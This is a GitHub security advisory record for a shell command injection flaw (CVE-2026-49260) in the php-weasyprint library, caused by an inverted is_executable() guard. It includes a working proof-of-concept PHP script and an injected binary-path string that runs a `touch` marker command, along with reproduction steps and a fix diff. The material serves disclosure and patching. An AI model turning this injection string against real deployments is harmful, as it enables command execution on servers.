CVE-2026-49260: php-weasyprint Shell Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f5gc-qxf8-mh9g",
  "modified" : "2026-06-26T21:46:27Z",
  "published" : "2026-06-26T21:46:27Z",
  "aliases" : [ "CVE-2026-49260" ],
  "summary" : "php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)",
  "details" : "### Summary\n\n`pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg('/usr/local/bin/weasyprint')` returns `'/usr/local/bin/weasyprint'` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the \"safe\" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\\Component\\Process\\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in [GHSA-vpr4-p6fq-85jc](https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc) (Snappy 1.7.1).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `<= 2.5.0` (current `master` tip commit `c2b51fed0bf442c3bf0292b879a09944d436f2a0`, 2026-04-03).\n\nPatched in: 2.5.1\n\n### Privilege required\n\nAny caller that can influence the binary string handed to the `Pdf` constructor or to `AbstractGenerator::setBinary()`. Typical reach paths:\n\n- An application config file (`config/services.yaml`, `.env`, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override.\n- An admin UI that lets operators pick between multiple WeasyPrint builds (`weasyprint-v60`, `weasyprint-v66`) for compatibility reasons.\n- A multi-tenant SaaS that resolves binary location from a tenant config row.\n\nOnce an attacker plants a string containing shell metacharacters in one of those channels, every subsequent `generate()` call shells out the injected payload as the PHP process user.\n\n### Vulnerable code\n\n[`src/AbstractGenerator.php#L169-L172`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/AbstractGenerator.php#L169-L172):\n\n```php\nprotected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n{\n    $escapedBinary = \\escapeshellarg($binary);\n    $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n```\n\n[`src/Pdf.php#L167-L170`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/Pdf.php#L167-L170) overrides `buildCommand` with the same guard:\n\n```php\nprotected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n{\n    $escapedBinary = \\escapeshellarg($binary);\n    $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n```\n\n`escapeshellarg($binary)` returns a single-quoted string. `is_executable()` then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where `$command` is the raw, unescaped `$binary` string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted.\n\nThis is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of `php-weasyprint` states: \"This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same).\" The vulnerable `buildCommand` was copied verbatim and never updated.\n\n### How `$binary` reaches the shell\n\n```\ncaller code\n  └── new Pdf($binary)                 // src/Pdf.php constructor\n        └── parent::__construct($binary)\n              └── $this->setBinary($binary)               // src/AbstractGenerator.php:276\n                        $this->binary = $binary;          // no validation\n\nlater, at conversion time:\n\n  $pdf->generate($input, $output, $options)\n        └── $this->getCommand($input, $output, $options)  // src/AbstractGenerator.php:298\n              └── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306\n                    └── ($vulnerable guard, see above)\n                    └── returns $command including raw $binary\n        └── $this->executeCommand($command)               // src/AbstractGenerator.php:202\n              └── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout)\n                    └── /bin/sh -c $command               // shell metacharacters interpreted\n```\n\nNo intermediate validator, no scheme check, no allow-list. Whatever string reaches `setBinary()` is shell-evaluated.\n\n### Proof of concept\n\n```php\n<?php\nrequire __DIR__ . '/vendor/autoload.php';\n\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n@unlink('/tmp/php_weasyprint_rce_marker');\n\n// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).\n$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';\n\n$pdf = new Pdf($binaryString);\n$pdf->setTimeout(5);\n\ntry {\n    $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);\n} catch (Throwable $e) {\n    // WeasyPrint binary call fails (its actual exit status is irrelevant);\n    // the injected 'touch' between the ';' separators already ran.\n}\n\nif (file_exists('/tmp/php_weasyprint_rce_marker')) {\n    echo \"RCE MARKER PRESENT — injection landed.\\n\";\n} else {\n    echo \"RCE marker absent — injection did NOT land.\\n\";\n}\n```\n\nThe `#` at the end of `$binaryString` comments out the unrelated `'/dev/null' '/tmp/poc_out.pdf'` tail that `buildCommand` appends, keeping the shell line syntactically valid.\n\n### End-to-end reproduction (against pinned Composer install)\n\n```bash\n# 1. Pin the affected version\nmkdir poc-weasyprint && cd poc-weasyprint\ncat > composer.json <<'EOF'\n{\n    \"require\": { \"pontedilana/php-weasyprint\": \"2.5.0\" }\n}\nEOF\ncomposer install --no-dev --quiet\n\n# 2. Run the PoC\nphp poc.php\n```\n\nCaptured run output (PHP 8.5.6, macOS arm64):\n\n```\n--- buildCommand output (uses reflection to peek) ---\nweasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf'\n--- end buildCommand ---\n\ngenerate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma...\n\n--- post-exec check ---\nRCE MARKER PRESENT — injection landed.\nstat: -rw-r--r--@ 1 rick  wheel  0  5月 25 13:44 /tmp/php_weasyprint_rce_marker\n```\n\nInterpretation:\n\n| Observation | Expected if guard worked | Actual |\n|---|---|---|\n| Compiled command starts with `weasyprint --version ...; touch ...; #` | Should be wrapped in single quotes, e.g. `'weasyprint --version > /dev/null; touch /tmp/...; #'` | Raw, unquoted |\n| `/tmp/php_weasyprint_rce_marker` after `generate()` | Absent (binary path validation rejects) | Present — injected `touch` ran |\n\nThe marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.\n\nNegative control on a benign binary path:\n\n```bash\nphp poc_negctrl.php\n# --- buildCommand for benign binary ---\n# /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf'\n# Benign-path negative control clean: no spurious marker.\n```\n\nEven the benign path is emitted raw (without single-quotes around the binary), confirming the `is_executable()` guard never returns true — defensive depth is gone for every deployment, not just the malicious one.\n\nFix verification: replacing both `buildCommand` overrides with the KnpLabs/snappy 1.7.1 shape (`if (!\\is_executable($binary)) throw new RuntimeException(...); $command = \\escapeshellarg($binary);`) and re-running the same harness:\n\n```\n--- patched buildCommand output ---\n[OK] buildCommand rejected malicious binary at the guard. msg: The binary 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #' is not executable.\ngenerate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary 'weasyprint ...' is not executable.\nPATCH OK — marker absent, injection blocked.\n```\n\nThe corrected guard runs `is_executable()` on the unescaped `$binary`. For the attacker payload that lookup returns false (no file by that name exists on disk), the exception fires before `Process::fromShellCommandline` is ever called, and the marker file is never created.\n\n### Impact\n\n- Shell-command injection as the PHP-FPM / CLI user whenever the WeasyPrint binary path is influenced by configuration, environment, or per-tenant settings.\n- Affects every consumer that does not hard-code a constant binary path baked into the deployed code. Empirically, both the project's own README and tests demonstrate the binary path as a configurable constructor argument (`new Pdf('/usr/local/bin/weasyprint')`), and downstream framework integrations (Symfony / Laravel) typically wire it through container config.\n- Defensive-in-depth regression even for hard-coded paths: a reader of `buildCommand` reasonably expects the binary to be shell-escaped because the code visually claims to do so. Any later change that reads the binary from a less-trusted source inherits the dead guard.\n\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.6, High) — adjust to AV:N when the binary path is reachable from an unauthenticated request surface (e.g. an admin endpoint without proper auth).\n\n### Suggested fix\n\nMirror the KnpLabs/snappy 1.7.1 fix shape exactly (the upstream library this project explicitly mirrors):\n\n```diff\n--- a/src/AbstractGenerator.php\n+++ b/src/AbstractGenerator.php\n@@\n     protected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n     {\n-        $escapedBinary = \\escapeshellarg($binary);\n-        $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n+        if (!\\is_executable($binary)) {\n+            throw new \\RuntimeException(sprintf(\"The binary '%s' is not executable.\", $binary));\n+        }\n+        $command = \\escapeshellarg($binary);\n```\n\nApply the identical change to `src/Pdf.php::buildCommand`. The `is_executable()` check now runs against the raw `$binary` (the only string that can name a real file on disk), and the `escapeshellarg()` call only quotes a string that has already been verified as a real executable path on the local filesystem.\n\nA regression test that asserts `buildCommand` throws on a `$binary` string containing `;` / `&&` / `|` should be added so the dead-guard pattern cannot reappear silently.\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pontedilana/php-weasyprint"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49260"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pontedilana/php-weasyprint/commit/9e86a2b317237fc5728f712f5037164530117f7e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pontedilana/php-weasyprint"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T21:46:27Z",
    "nvd_published_at" : "2026-06-19T17:16:29Z"
  }
}